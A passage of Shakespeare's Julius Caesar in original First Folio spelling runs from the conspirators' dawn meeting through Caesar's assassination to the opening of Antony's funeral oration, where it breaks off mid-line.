strikes. + + Bru. Peace, count the Clocke + + Cas. The Clocke hath stricken three + + Treb. 'Tis time to part + + Cass. But it is doubtfull yet, +Whether Caesar will come forth to day, or no: +For he is Superstitious growne of late, +Quite from the maine Opinion he held once, +Of Fantasie, of Dreames, and Ceremonies: +It may be, these apparant Prodigies, +The vnaccustom'd Terror of this night, +And the perswasion of his Augurers, +May hold him from the Capitoll to day + + Decius. Neuer feare that: If he be so resolu'd, +I can ore-sway him: For he loues to heare, +That Vnicornes may be betray'd with Trees, +And Beares with Glasses, Elephants with Holes, +Lyons with Toyles, and men with Flatterers. +But, when I tell him, he hates Flatterers, +He sayes, he does; being then most flattered. +Let me worke: +For I can giue his humour the true bent; +And I will bring him to the Capitoll + + Cas. Nay, we will all of vs, be there to fetch him + + Bru. By the eight houre, is that the vttermost? + Cin. Be that the vttermost, and faile not then + + Met. Caius Ligarius doth beare Caesar hard, +Who rated him for speaking well of Pompey; +I wonder none of you haue thought of him + + Bru. Now good Metellus go along by him: +He loues me well, and I haue giuen him Reasons, +Send him but hither, and Ile fashion him + + Cas. The morning comes vpon's: +Wee'l leaue you Brutus, +And Friends disperse your selues; but all remember +What you haue said, and shew your selues true Romans + + Bru. Good Gentlemen, looke fresh and merrily, +Let not our lookes put on our purposes, +But beare it as our Roman Actors do, +With vntyr'd Spirits, and formall Constancie, +And so good morrow to you euery one. + +Exeunt. + +Manet Brutus. + +Boy: Lucius: Fast asleepe? It is no matter, +Enioy the hony-heauy-Dew of Slumber: +Thou hast no Figures, nor no Fantasies, +Which busie care drawes, in the braines of men; +Therefore thou sleep'st so sound. +Enter Portia. + + Por. Brutus, my Lord + + Bru. Portia: What meane you? wherfore rise you now? +It is not for your health, thus to commit +Your weake condition, to the raw cold morning + + Por. Nor for yours neither. Y'haue vngently Brutus +Stole from my bed: and yesternight at Supper +You sodainly arose, and walk'd about, +Musing, and sighing, with your armes acrosse +And when I ask'd you what the matter was, +You star'd vpon me, with vngentle lookes. +I vrg'd you further, then you scratch'd your head, +And too impatiently stampt with your foote: +Yet I insisted, yet you answer'd not, +But with an angry wafter of your hand +Gaue signe for me to leaue you: So I did, +Fearing to strengthen that impatience +Which seem'd too much inkindled; and withall, +Hoping it was but an effect of Humor, +Which sometime hath his houre with euery man. +It will not let you eate, nor talke, nor sleepe; +And could it worke so much vpon your shape, +As it hath much preuayl'd on your Condition, +I should not know you Brutus. Deare my Lord, +Make me acquainted with your cause of greefe + + Bru. I am not well in health, and that is all + + Por. Brutus is wise, and were he not in health, +He would embrace the meanes to come by it + + Bru. Why so I do: good Portia go to bed + + Por. Is Brutus sicke? And is it Physicall +To walke vnbraced, and sucke vp the humours +Of the danke Morning? What, is Brutus sicke? +And will he steale out of his wholsome bed +To dare the vile contagion of the Night? +And tempt the Rhewmy, and vnpurged Ayre, +To adde vnto his sicknesse? No my Brutus, +You haue some sicke Offence within your minde, +Which by the Right and Vertue of my place +I ought to know of: And vpon my knees, +I charme you, by my once commended Beauty, +By all your vowes of Loue, and that great Vow +Which did incorporate and make vs one, +That you vnfold to me, your selfe; your halfe +Why you are heauy: and what men to night +Haue had resort to you: for heere haue beene +Some sixe or seuen, who did hide their faces +Euen from darknesse + + Bru. Kneele not gentle Portia + + Por. I should not neede, if you were gentle Brutus. +Within the Bond of Marriage, tell me Brutus, +Is it excepted, I should know no Secrets +That appertaine to you? Am I your Selfe, +But as it were in sort, or limitation? +To keepe with you at Meales, comfort your Bed, +And talke to you sometimes? Dwell I but in the Suburbs +Of your good pleasure? If it be no more, +Portia is Brutus Harlot, not his Wife + + Bru. You are my true and honourable Wife, +As deere to me, as are the ruddy droppes +That visit my sad heart + + Por. If this were true, then should I know this secret. +I graunt I am a Woman; but withall, +A Woman that Lord Brutus tooke to Wife: +I graunt I am a Woman; but withall, +A Woman well reputed: Cato's Daughter. +Thinke you, I am no stronger then my Sex +Being so Father'd, and so Husbanded? +Tell me your Counsels, I will not disclose 'em: +I haue made strong proofe of my Constancie, +Giuing my selfe a voluntary wound +Heere, in the Thigh: Can I beare that with patience, +And not my Husbands Secrets? + Bru. O ye Gods! +Render me worthy of this Noble Wife. + +Knocke. + +Harke, harke, one knockes: Portia go in a while, +And by and by thy bosome shall partake +The secrets of my Heart. +All my engagements, I will construe to thee, +All the Charractery of my sad browes: +Leaue me with hast. + +Exit Portia. + +Enter Lucius and Ligarius. + +Lucius, who's that knockes + + Luc. Heere is a sicke man that would speak with you + + Bru. Caius Ligarius, that Metellus spake of. +Boy, stand aside. Caius Ligarius, how? + Cai. Vouchsafe good morrow from a feeble tongue + + Bru. O what a time haue you chose out braue Caius +To weare a Kerchiefe? Would you were not sicke + + Cai. I am not sicke, if Brutus haue in hand +Any exploit worthy the name of Honor + + Bru. Such an exploit haue I in hand Ligarius, +Had you a healthfull eare to heare of it + + Cai. By all the Gods that Romans bow before, +I heere discard my sicknesse. Soule of Rome, +Braue Sonne, deriu'd from Honourable Loines, +Thou like an Exorcist, hast coniur'd vp +My mortified Spirit. Now bid me runne, +And I will striue with things impossible, +Yea get the better of them. What's to do? + Bru. A peece of worke, +That will make sicke men whole + + Cai. But are not some whole, that we must make sicke? + Bru. That must we also. What it is my Caius, +I shall vnfold to thee, as we are going, +To whom it must be done + + Cai. Set on your foote, +And with a heart new-fir'd, I follow you, +To do I know not what: but it sufficeth +That Brutus leads me on. + +Thunder + + Bru. Follow me then. + +Exeunt. + +Thunder & Lightning + +Enter Iulius Caesar in his Night-gowne. + + Caesar. Nor Heauen, nor Earth, +Haue beene at peace to night: +Thrice hath Calphurnia, in her sleepe cryed out, +Helpe, ho: They murther Caesar. Who's within? +Enter a Seruant. + + Ser. My Lord + + Caes Go bid the Priests do present Sacrifice, +And bring me their opinions of Successe + + Ser. I will my Lord. + +Exit + +Enter Calphurnia. + + Cal. What mean you Caesar? Think you to walk forth? +You shall not stirre out of your house to day + + Caes Caesar shall forth; the things that threaten'd me, +Ne're look'd but on my backe: When they shall see +The face of Caesar, they are vanished + + Calp. Caesar, I neuer stood on Ceremonies, +Yet now they fright me: There is one within, +Besides the things that we haue heard and seene, +Recounts most horrid sights seene by the Watch. +A Lionnesse hath whelped in the streets, +And Graues haue yawn'd, and yeelded vp their dead; +Fierce fiery Warriours fight vpon the Clouds +In Rankes and Squadrons, and right forme of Warre +Which drizel'd blood vpon the Capitoll: +The noise of Battell hurtled in the Ayre: +Horsses do neigh, and dying men did grone, +And Ghosts did shrieke and squeale about the streets. +O Caesar, these things are beyond all vse, +And I do feare them + + Caes What can be auoyded +Whose end is purpos'd by the mighty Gods? +Yet Caesar shall go forth: for these Predictions +Are to the world in generall, as to Caesar + + Calp. When Beggers dye, there are no Comets seen, +The Heauens themselues blaze forth the death of Princes + Caes Cowards dye many times before their deaths, +The valiant neuer taste of death but once: +Of all the Wonders that I yet haue heard, +It seemes to me most strange that men should feare, +Seeing that death, a necessary end +Will come, when it will come. +Enter a Seruant. + +What say the Augurers? + Ser. They would not haue you to stirre forth to day. +Plucking the intrailes of an Offering forth, +They could not finde a heart within the beast + + Caes The Gods do this in shame of Cowardice: +Caesar should be a Beast without a heart +If he should stay at home to day for feare: +No Caesar shall not; Danger knowes full well +That Caesar is more dangerous then he. +We heare two Lyons litter'd in one day, +And I the elder and more terrible, +And Caesar shall go foorth + + Calp. Alas my Lord, +Your wisedome is consum'd in confidence: +Do not go forth to day: Call it my feare, +That keepes you in the house, and not your owne. +Wee'l send Mark Antony to the Senate house, +And he shall say, you are not well to day: +Let me vpon my knee, preuaile in this + + Caes Mark Antony shall say I am not well, +And for thy humor, I will stay at home. +Enter Decius. + +Heere's Decius Brutus, he shall tell them so + + Deci. Caesar, all haile: Good morrow worthy Caesar, +I come to fetch you to the Senate house + + Caes And you are come in very happy time, +To beare my greeting to the Senators, +And tell them that I will not come to day: +Cannot, is false: and that I dare not, falser: +I will not come to day, tell them so Decius + + Calp. Say he is sicke + + Caes Shall Caesar send a Lye? +Haue I in Conquest stretcht mine Arme so farre, +To be afear'd to tell Gray-beards the truth: +Decius, go tell them, Caesar will not come + + Deci. Most mighty Caesar, let me know some cause, +Lest I be laught at when I tell them so + + Caes The cause is in my Will, I will not come, +That is enough to satisfie the Senate. +But for your priuate satisfaction, +Because I loue you, I will let you know. +Calphurnia heere my wife, stayes me at home: +She dreampt to night, she saw my Statue, +Which like a Fountaine, with an hundred spouts +Did run pure blood: and many lusty Romans +Came smiling, & did bathe their hands in it: +And these does she apply, for warnings and portents, +And euils imminent; and on her knee +Hath begg'd, that I will stay at home to day + + Deci. This Dreame is all amisse interpreted, +It was a vision, faire and fortunate: +Your Statue spouting blood in many pipes, +In which so many smiling Romans bath'd, +Signifies, that from you great Rome shall sucke +Reuiuing blood, and that great men shall presse +For Tinctures, Staines, Reliques, and Cognisance. +This by Calphurnia's Dreame is signified + + Caes And this way haue you well expounded it + + Deci. I haue, when you haue heard what I can say: +And know it now, the Senate haue concluded +To giue this day, a Crowne to mighty Caesar. +If you shall send them word you will not come, +Their mindes may change. Besides, it were a mocke +Apt to be render'd, for some one to say, +Breake vp the Senate, till another time: +When Caesars wife shall meete with better Dreames. +If Caesar hide himselfe, shall they not whisper +Loe Caesar is affraid? +Pardon me Caesar, for my deere deere loue +To your proceeding, bids me tell you this: +And reason to my loue is liable + + Caes How foolish do your fears seeme now Calphurnia? +I am ashamed I did yeeld to them. +Giue me my Robe, for I will go. +Enter Brutus, Ligarius, Metellus, Caska, Trebonius, Cynna, and +Publius. + +And looke where Publius is come to fetch me + + Pub. Good morrow Caesar + + Caes Welcome Publius. +What Brutus, are you stirr'd so earely too? +Good morrow Caska: Caius Ligarius, +Caesar was ne're so much your enemy, +As that same Ague which hath made you leane. +What is't a Clocke? + Bru. Caesar, 'tis strucken eight + + Caes I thanke you for your paines and curtesie. +Enter Antony. + +See, Antony that Reuels long a-nights +Is notwithstanding vp. Good morrow Antony + + Ant. So to most Noble Caesar + + Caes Bid them prepare within: +I am too blame to be thus waited for. +Now Cynna, now Metellus: what Trebonius, +I haue an houres talke in store for you: +Remember that you call on me to day: +Be neere me, that I may remember you + + Treb. Caesar I will: and so neere will I be, +That your best Friends shall wish I had beene further + + Caes Good Friends go in, and taste some wine with me. +And we (like Friends) will straight way go together + + Bru. That euery like is not the same, O Caesar, +The heart of Brutus earnes to thinke vpon. + +Exeunt. + +Enter Artemidorus. + +Caesar, beware of Brutus, take heede of Cassius; come not +neere Caska, haue an eye to Cynna, trust not Trebonius, marke +well Metellus Cymber, Decius Brutus loues thee not: Thou +hast wrong'd Caius Ligarius. There is but one minde in all +these men, and it is bent against Caesar: If thou beest not +Immortall, +looke about you: Security giues way to Conspiracie. +The mighty Gods defend thee. +Thy Louer, Artemidorus. +Heere will I stand, till Caesar passe along, +And as a Sutor will I giue him this: +My heart laments, that Vertue cannot liue +Out of the teeth of Emulation. +If thou reade this, O Caesar, thou mayest liue; +If not, the Fates with Traitors do contriue. +Enter. + +Enter Portia and Lucius. + + Por. I prythee Boy, run to the Senate-house, +Stay not to answer me, but get thee gone. +Why doest thou stay? + Luc. To know my errand Madam + + Por. I would haue had thee there and heere agen +Ere I can tell thee what thou should'st do there: +O Constancie, be strong vpon my side, +Set a huge Mountaine 'tweene my Heart and Tongue: +I haue a mans minde, but a womans might: +How hard it is for women to keepe counsell. +Art thou heere yet? + Luc. Madam, what should I do? +Run to the Capitoll, and nothing else? +And so returne to you, and nothing else? + Por. Yes, bring me word Boy, if thy Lord look well, +For he went sickly forth: and take good note +What Caesar doth, what Sutors presse to him. +Hearke Boy, what noyse is that? + Luc. I heare none Madam + + Por. Prythee listen well: +I heard a bussling Rumor like a Fray, +And the winde brings it from the Capitoll + + Luc. Sooth Madam, I heare nothing. +Enter the Soothsayer. + + Por. Come hither Fellow, which way hast thou bin? + Sooth. At mine owne house, good Lady + + Por. What is't a clocke? + Sooth. About the ninth houre Lady + + Por. Is Caesar yet gone to the Capitoll? + Sooth. Madam not yet, I go to take my stand, +To see him passe on to the Capitoll + + Por. Thou hast some suite to Caesar, hast thou not? + Sooth. That I haue Lady, if it will please Caesar +To be so good to Caesar, as to heare me: +I shall beseech him to befriend himselfe + + Por. Why know'st thou any harme's intended towards +him? + Sooth. None that I know will be, +Much that I feare may chance: +Good morrow to you: heere the street is narrow: +The throng that followes Caesar at the heeles, +Of Senators, of Praetors, common Sutors, +Will crowd a feeble man (almost) to death: +Ile get me to a place more voyd, and there +Speake to great Caesar as he comes along. + +Exit + + Por. I must go in: +Aye me! How weake a thing +The heart of woman is? O Brutus, +The Heauens speede thee in thine enterprize. +Sure the Boy heard me: Brutus hath a suite +That Caesar will not grant. O, I grow faint: +Run Lucius, and commend me to my Lord, +Say I am merry; Come to me againe, +And bring me word what he doth say to thee. + +Exeunt. + +Actus Tertius. + +Flourish + +Enter Caesar, Brutus, Cassius, Caska, Decius, Metellus, Trebonius, +Cynna, +Antony, Lepidus, Artimedorus, Publius, and the Soothsayer. + + Caes The Ides of March are come + + Sooth. I Caesar, but not gone + + Art. Haile Caesar: Read this Scedule + + Deci. Trebonius doth desire you to ore-read +(At your best leysure) this his humble suite + + Art. O Caesar, reade mine first: for mine's a suite +That touches Caesar neerer. Read it great Caesar + + Caes What touches vs our selfe, shall be last seru'd + + Art. Delay not Caesar, read it instantly + + Caes What, is the fellow mad? + Pub. Sirra, giue place + + Cassi. What, vrge you your Petitions in the street? +Come to the Capitoll + + Popil. I wish your enterprize to day may thriue + + Cassi. What enterprize Popillius? + Popil. Fare you well + + Bru. What said Popillius Lena? + Cassi. He wisht to day our enterprize might thriue: +I feare our purpose is discouered + + Bru. Looke how he makes to Caesar: marke him + + Cassi. Caska be sodaine, for we feare preuention. +Brutus what shall be done? If this be knowne, +Cassius or Caesar neuer shall turne backe, +For I will slay my selfe + + Bru. Cassius be constant: +Popillius Lena speakes not of our purposes, +For looke he smiles, and Caesar doth not change + + Cassi. Trebonius knowes his time: for look you Brutus +He drawes Mark Antony out of the way + + Deci. Where is Metellus Cimber, let him go, +And presently preferre his suite to Caesar + + Bru. He is addrest: presse neere, and second him + + Cin. Caska, you are the first that reares your hand + + Caes Are we all ready? What is now amisse, +That Caesar and his Senate must redresse? + Metel. Most high, most mighty, and most puisant Caesar +Metellus Cymber throwes before thy Seate +An humble heart + + Caes I must preuent thee Cymber: +These couchings, and these lowly courtesies +Might fire the blood of ordinary men, +And turne pre-Ordinance, and first Decree +Into the lane of Children. Be not fond, +To thinke that Caesar beares such Rebell blood +That will be thaw'd from the true quality +With that which melteth Fooles, I meane sweet words, +Low-crooked-curtsies, and base Spaniell fawning: +Thy Brother by decree is banished: +If thou doest bend, and pray, and fawne for him, +I spurne thee like a Curre out of my way: +Know, Caesar doth not wrong, nor without cause +Will he be satisfied + + Metel. Is there no voyce more worthy then my owne, +To sound more sweetly in great Caesars eare, +For the repealing of my banish'd Brother? + Bru. I kisse thy hand, but not in flattery Caesar: +Desiring thee, that Publius Cymber may +Haue an immediate freedome of repeale + + Caes What Brutus? + Cassi. Pardon Caesar: Caesar pardon: +As lowe as to thy foote doth Cassius fall, +To begge infranchisement for Publius Cymber + + Caes I could be well mou'd, if I were as you, +If I could pray to mooue, Prayers would mooue me: +But I am constant as the Northerne Starre, +Of whose true fixt, and resting quality, +There is no fellow in the Firmament. +The Skies are painted with vnnumbred sparkes, +They are all Fire, and euery one doth shine: +But, there's but one in all doth hold his place. +So, in the World; 'Tis furnish'd well with Men, +And Men are Flesh and Blood, and apprehensiue; +Yet in the number, I do know but One +That vnassayleable holds on his Ranke, +Vnshak'd of Motion: and that I am he, +Let me a little shew it, euen in this: +That I was constant Cymber should be banish'd, +And constant do remaine to keepe him so + + Cinna. O Caesar + + Caes Hence: Wilt thou lift vp Olympus? + Decius. Great Caesar + + Caes Doth not Brutus bootlesse kneele? + Cask. Speake hands for me. + +They stab Caesar. + + Caes Et Tu Brute? - Then fall Caesar. + +Dyes + + Cin. Liberty, Freedome; Tyranny is dead, +Run hence, proclaime, cry it about the Streets + + Cassi. Some to the common Pulpits, and cry out +Liberty, Freedome, and Enfranchisement + + Bru. People and Senators, be not affrighted: +Fly not, stand still: Ambitions debt is paid + + Cask. Go to the Pulpit Brutus + + Dec. And Cassius too + + Bru. Where's Publius? + Cin. Heere, quite confounded with this mutiny + + Met. Stand fast together, least some Friend of Caesars +Should chance- + Bru. Talke not of standing. Publius good cheere, +There is no harme intended to your person, +Nor to no Roman else: so tell them Publius + + Cassi. And leaue vs Publius, least that the people +Rushing on vs, should do your Age some mischiefe + + Bru. Do so, and let no man abide this deede, +But we the Doers. +Enter Trebonius + + Cassi. Where is Antony? + Treb. Fled to his House amaz'd: +Men, Wiues, and Children, stare, cry out, and run, +As it were Doomesday + + Bru. Fates, we will know your pleasures: +That we shall dye we know, 'tis but the time +And drawing dayes out, that men stand vpon + + Cask. Why he that cuts off twenty yeares of life, +Cuts off so many yeares of fearing death + + Bru. Grant that, and then is Death a Benefit: +So are we Caesars Friends, that haue abridg'd +His time of fearing death. Stoope Romans, stoope, +And let vs bathe our hands in Caesars blood +Vp to the Elbowes, and besmeare our Swords: +Then walke we forth, euen to the Market place, +And wauing our red Weapons o're our heads, +Let's all cry Peace, Freedome, and Liberty + + Cassi. Stoop then, and wash. How many Ages hence +Shall this our lofty Scene be acted ouer, +In State vnborne, and Accents yet vnknowne? + Bru. How many times shall Caesar bleed in sport, +That now on Pompeyes Basis lye along, +No worthier then the dust? + Cassi. So oft as that shall be, +So often shall the knot of vs be call'd, +The Men that gaue their Country liberty + + Dec. What, shall we forth? + Cassi. I, euery man away. +Brutus shall leade, and we will grace his heeles +With the most boldest, and best hearts of Rome. +Enter a Seruant. + + Bru. Soft, who comes heere? A friend of Antonies + + Ser. Thus Brutus did my Master bid me kneele; +Thus did Mark Antony bid me fall downe, +And being prostrate, thus he bad me say: +Brutus is Noble, Wise, Valiant, and Honest; +Caesar was Mighty, Bold, Royall, and Louing: +Say, I loue Brutus, and I honour him; +Say, I fear'd Caesar, honour'd him, and lou'd him. +If Brutus will vouchsafe, that Antony +May safely come to him, and be resolu'd +How Caesar hath deseru'd to lye in death, +Mark Antony, shall not loue Caesar dead +So well as Brutus liuing; but will follow +The Fortunes and Affayres of Noble Brutus, +Thorough the hazards of this vntrod State, +With all true Faith. So sayes my Master Antony + + Bru. Thy Master is a Wise and Valiant Romane, +I neuer thought him worse: +Tell him, so please him come vnto this place +He shall be satisfied: and by my Honor +Depart vntouch'd + + Ser. Ile fetch him presently. + +Exit Seruant. + + Bru. I know that we shall haue him well to Friend + + Cassi. I wish we may: But yet haue I a minde +That feares him much: and my misgiuing still +Falles shrewdly to the purpose. +Enter Antony. + + Bru. But heere comes Antony: +Welcome Mark Antony + + Ant. O mighty Caesar! Dost thou lye so lowe? +Are all thy Conquests, Glories, Triumphes, Spoiles, +Shrunke to this little Measure? Fare thee well. +I know not Gentlemen what you intend, +Who else must be let blood, who else is ranke: +If I my selfe, there is no houre so fit +As Caesars deaths houre; nor no Instrument +Of halfe that worth, as those your Swords; made rich +With the most Noble blood of all this World. +I do beseech yee, if you beare me hard, +Now, whil'st your purpled hands do reeke and smoake, +Fulfill your pleasure. Liue a thousand yeeres, +I shall not finde my selfe so apt to dye. +No place will please me so, no meane of death, +As heere by Caesar, and by you cut off, +The Choice and Master Spirits of this Age + + Bru. O Antony! Begge not your death of vs: +Though now we must appeare bloody and cruell, +As by our hands, and this our present Acte +You see we do: Yet see you but our hands, +And this, the bleeding businesse they haue done: +Our hearts you see not, they are pittifull: +And pitty to the generall wrong of Rome, +As fire driues out fire, so pitty, pitty +Hath done this deed on Caesar. For your part, +To you, our Swords haue leaden points Marke Antony: +Our Armes in strength of malice, and our Hearts +Of Brothers temper, do receiue you in, +With all kinde loue, good thoughts, and reuerence + + Cassi. Your voyce shall be as strong as any mans, +In the disposing of new Dignities + + Bru. Onely be patient, till we haue appeas'd +The Multitude, beside themselues with feare, +And then, we will deliuer you the cause, +Why I, that did loue Caesar when I strooke him, +Haue thus proceeded + + Ant. I doubt not of your Wisedome: +Let each man render me his bloody hand. +First Marcus Brutus will I shake with you; +Next Caius Cassius do I take your hand; +Now Decius Brutus yours; now yours Metellus; +Yours Cinna; and my valiant Caska, yours; +Though last, not least in loue, yours good Trebonius. +Gentlemen all: Alas, what shall I say, +My credit now stands on such slippery ground, +That one of two bad wayes you must conceit me, +Either a Coward, or a Flatterer. +That I did loue thee Caesar, O 'tis true: +If then thy Spirit looke vpon vs now, +Shall it not greeue thee deerer then thy death, +To see thy Antony making his peace, +Shaking the bloody fingers of thy Foes? +Most Noble, in the presence of thy Coarse, +Had I as many eyes, as thou hast wounds, +Weeping as fast as they streame forth thy blood, +It would become me better, then to close +In tearmes of Friendship with thine enemies. +Pardon me Iulius, heere was't thou bay'd braue Hart, +Heere did'st thou fall, and heere thy Hunters stand +Sign'd in thy Spoyle, and Crimson'd in thy Lethee. +O World! thou wast the Forrest to this Hart, +And this indeed, O World, the Hart of thee. +How like a Deere, stroken by many Princes, +Dost thou heere lye? + Cassi. Mark Antony + + Ant. Pardon me Caius Cassius: +The Enemies of Caesar, shall say this: +Then, in a Friend, it is cold Modestie + + Cassi. I blame you not for praising Caesar so. +But what compact meane you to haue with vs? +Will you be prick'd in number of our Friends, +Or shall we on, and not depend on you? + Ant. Therefore I tooke your hands, but was indeed +Sway'd from the point, by looking downe on Caesar. +Friends am I with you all, and loue you all, +Vpon this hope, that you shall giue me Reasons, +Why, and wherein, Caesar was dangerous + + Bru. Or else were this a sauage Spectacle: +Our Reasons are so full of good regard, +That were you Antony, the Sonne of Caesar, +You should be satisfied + + Ant. That's all I seeke, +And am moreouer sutor, that I may +Produce his body to the Market-place, +And in the Pulpit as becomes a Friend, +Speake in the Order of his Funerall + + Bru. You shall Marke Antony + + Cassi. Brutus, a word with you: +You know not what you do; Do not consent +That Antony speake in his Funerall: +Know you how much the people may be mou'd +By that which he will vtter + + Bru. By your pardon: +I will my selfe into the Pulpit first, +And shew the reason of our Caesars death. +What Antony shall speake, I will protest +He speakes by leaue, and by permission: +And that we are contented Caesar shall +Haue all true Rites, and lawfull Ceremonies, +It shall aduantage more, then do vs wrong + + Cassi. I know not what may fall, I like it not + + Bru. Mark Antony, heere take you Caesars body: +You shall not in your Funerall speech blame vs, +But speake all good you can deuise of Caesar, +And say you doo't by our permission: +Else shall you not haue any hand at all +About his Funerall. And you shall speake +In the same Pulpit whereto I am going, +After my speech is ended + + Ant. Be it so: +I do desire no more + + Bru. Prepare the body then, and follow vs. + +Exeunt. + +Manet Antony. + +O pardon me, thou bleeding peece of Earth: +That I am meeke and gentle with these Butchers. +Thou art the Ruines of the Noblest man +That euer liued in the Tide of Times. +Woe to the hand that shed this costly Blood. +Ouer thy wounds, now do I Prophesie, +(Which like dumbe mouthes do ope their Ruby lips, +To begge the voyce and vtterance of my Tongue) +A Curse shall light vpon the limbes of men; +Domesticke Fury, and fierce Ciuill strife, +Shall cumber all the parts of Italy: +Blood and destruction shall be so in vse, +And dreadfull Obiects so familiar, +That Mothers shall but smile, when they behold +Their Infants quartered with the hands of Warre: +All pitty choak'd with custome of fell deeds, +And Caesars Spirit ranging for Reuenge, +With Ate by his side, come hot from Hell, +Shall in these Confines, with a Monarkes voyce, +Cry hauocke, and let slip the Dogges of Warre, +That this foule deede, shall smell aboue the earth +With Carrion men, groaning for Buriall. +Enter Octauio's Seruant. + +You serue Octauius Caesar, do you not? + Ser. I do Marke Antony + + Ant. Caesar did write for him to come to Rome + + Ser. He did receiue his Letters, and is comming, +And bid me say to you by word of mouth- +O Caesar! + Ant. Thy heart is bigge: get thee a-part and weepe: +Passion I see is catching from mine eyes, +Seeing those Beads of sorrow stand in thine, +Began to water. Is thy Master comming? + Ser. He lies to night within seuen Leagues of Rome + + Ant. Post backe with speede, +And tell him what hath chanc'd: +Heere is a mourning Rome, a dangerous Rome, +No Rome of safety for Octauius yet, +Hie hence, and tell him so. Yet stay a-while, +Thou shalt not backe, till I haue borne this course +Into the Market place: There shall I try +In my Oration, how the People take +The cruell issue of these bloody men, +According to the which, thou shalt discourse +To yong Octauius, of the state of things. +Lend me your hand. + +Exeunt. + +Enter Brutus and goes into the Pulpit, and Cassius, with the +Plebeians. + + Ple. We will be satisfied: let vs be satisfied + + Bru. Then follow me, and giue me Audience friends. +Cassius go you into the other streete, +And part the Numbers: +Those that will heare me speake, let 'em stay heere; +Those that will follow Cassius, go with him, +And publike Reasons shall be rendred +Of Caesars death + + 1.Ple. I will heare Brutus speake + + 2. I will heare Cassius, and compare their Reasons, +When seuerally we heare them rendred + + 3. The Noble Brutus is ascended: Silence + + Bru. Be patient till the last. +Romans, Countrey-men, and Louers, heare mee for my +cause, and be silent, that you may heare. Beleeue me for +mine Honor, and haue respect to mine Honor, that you +may beleeue. Censure me in your Wisedom, and awake +your Senses, that you may the better Iudge. If there bee +any in this Assembly, any deere Friend of Caesars, to him +I say, that Brutus loue to Caesar, was no lesse then his. If +then, that Friend demand, why Brutus rose against Caesar, +this is my answer: Not that I lou'd Caesar lesse, but +that I lou'd Rome more. Had you rather Caesar were liuing, +and dye all Slaues; then that Caesar were dead, to +liue all Free-men? As Caesar lou'd mee, I weepe for him; +as he was Fortunate, I reioyce at it; as he was Valiant, I +honour him: But, as he was Ambitious, I slew him. There +is Teares, for his Loue: Ioy, for his Fortune: Honor, for +his Valour: and Death, for his Ambition. Who is heere +so base, that would be a Bondman? If any, speak, for him +haue I offended. Who is heere so rude, that would not +be a Roman? If any, speak, for him haue I offended. Who +is heere so vile, that will not loue his Countrey? If any, +speake, for him haue I offended. I pause for a Reply + + All. None Brutus, none + + Brutus. Then none haue I offended. I haue done no +more to Caesar, then you shall do to Brutus. The Question +of his death, is inroll'd in the Capitoll: his Glory not +extenuated, wherein he was worthy; nor his offences enforc'd, +for which he suffered death. +Enter Mark Antony, with Caesars body. + +Heere comes his Body, mourn'd by Marke Antony, who +though he had no hand in his death, shall receiue the benefit +of his dying, a place in the Co[m]monwealth, as which +of you shall not. With this I depart, that as I slewe my +best Louer for the good of Rome, I haue the same Dagger +for my selfe, when it shall please my Country to need +my death + + All. Liue Brutus, liue, liue + + 1. Bring him with Triumph home vnto his house + + 2. Giue him a Statue with his Ancestors + + 3. Let him be Caesar + + 4. Caesars better parts, +Shall be Crown'd in Brutus + + 1. Wee'l bring him to his House, +With Showts and Clamors + + Bru. My Country-men + + 2. Peace, silence, Brutus speakes + + 1. Peace ho + + Bru. Good Countrymen, let me depart alone, +And (for my sake) stay heere with Antony: +Do grace to Caesars Corpes, and grace his Speech +Tending to Caesars Glories, which Marke Antony +(By our permission) is allow'd to make. +I do intreat you, not a man depart, +Saue I alone, till Antony haue spoke. + +Exit + + 1 Stay ho, and let vs heare Mark Antony + + 3 Let him go vp into the publike Chaire, +Wee'l heare him: Noble Antony go vp + + Ant. For Brutus sake, I am beholding to you + + 4 What does he say of Brutus? + 3 He sayes, for Brutus sake +He findes himselfe beholding to vs all + + 4 'Twere best he speake no harme of Brutus heere? + 1 This Caesar was a Tyrant + + 3 Nay that's certaine: +We are blest that Rome is rid of him + + 2 Peace, let vs heare what Antony can say + + Ant. You gentle Romans + + All. Peace hoe, let vs heare him + + An. Friends, Romans, Countrymen, lend me your ears: +I come to bury Caesar, not to praise him: +The euill that men do, liues after them, +The good is oft enterred with their bones, +So let it be with Caesar. The Noble Brutus, +Hath told you Caesar was Ambitious: +If it were so, it was a greeuous Fault, +And greeuously hath Caesar answer'd it. +Heere, vnder leaue of Brutus, and the rest +(For Brutus is an Honourable man, +So are they all; all Honourable men) +Come I to speake in Caesars Funerall. +He was my Friend, faithfull, and iust to me; +But Brutus sayes, he was Ambitious, +And Brutus is an Honourable man. +He hath brought many Captiues home to Rome, +Whose Ransomes, did the generall Coffers fill: +Did this in Caesar seeme Ambitious? +When that the poore haue cry'de, Caesar hath wept: +Ambition should be made of sterner stuffe, +Yet Brutus sayes, he was Ambitious: +And Brutus is an Honourable man. +You all did see, that on the Lupercall, +I thrice presented him a Kingly Crowne, +Which he did thrice refuse. Was this Ambition? +Yet Brutus sayes, he was Ambitious: +And sure he is an Honourable man. +I speake not to disprooue what Brutus spoke, +But heere I am, to speake what I do know; +You all did loue him once, not without cause, +What cause with-holds you then, to mourne for him? +O Iudgement! thou are fled to brutish Beasts, +And Men haue lost their Reason. Beare with me, +My heart is in the Coffin there with Caesar, +And I must pawse, till it come backe to me + + 1 Me thinkes there is much reason in his sayings + + 2 If thou consider rightly of the matter, +Caesar ha's had great wrong + + 3 Ha's hee Masters? I feare there will a worse come in his place + + 4. Mark'd ye his words? he would not take y Crown, +Therefore 'tis certaine, he was not Ambitious + + 1. If it be found so, some will deere abide it + + 2. Poore soule, his eyes are red as fire with weeping + + 3. There's not a Nobler man in Rome then Antony + + 4. Now marke him, he begins againe to speake + + Ant. But yesterday, the word of Caesar might +Haue stood against the World: Now lies he there, +And none so poore to do him reuerence. +O Maisters! If I were dispos'd to stirre +Your hearts and mindes to Mutiny and Rage, +I should do Brutus wrong, and Cassius wrong: +Who (you all know) are Honourable men. +I will not do them wrong: I rather choose +To wrong the dead, to wrong my selfe and you, +Then I will wrong such Honourable men. +But heere's a Parchment, with the Seale of Caesar, +I found it in his Closset, 'tis his Will: +Let but the Commons heare this Testament: +(Which pardon me) I do not meane to reade, +And they would go and kisse dead Caesars wounds, +And dip their Napkins in his Sacred Blood; +Yea, begge a haire of him for Memory, +And dying, mention it within their Willes, +Bequeathing it as a rich Legacie +Vnto their issue + + 4 Wee'l heare the Will, reade it Marke Antony + + All. The Will, the Will; we will heare Caesars Will + + Ant. Haue patience gentle Friends, I must not read it. +It is not meete you know how Caesar lou'd you: +You are not Wood, you are not Stones, but men: +And 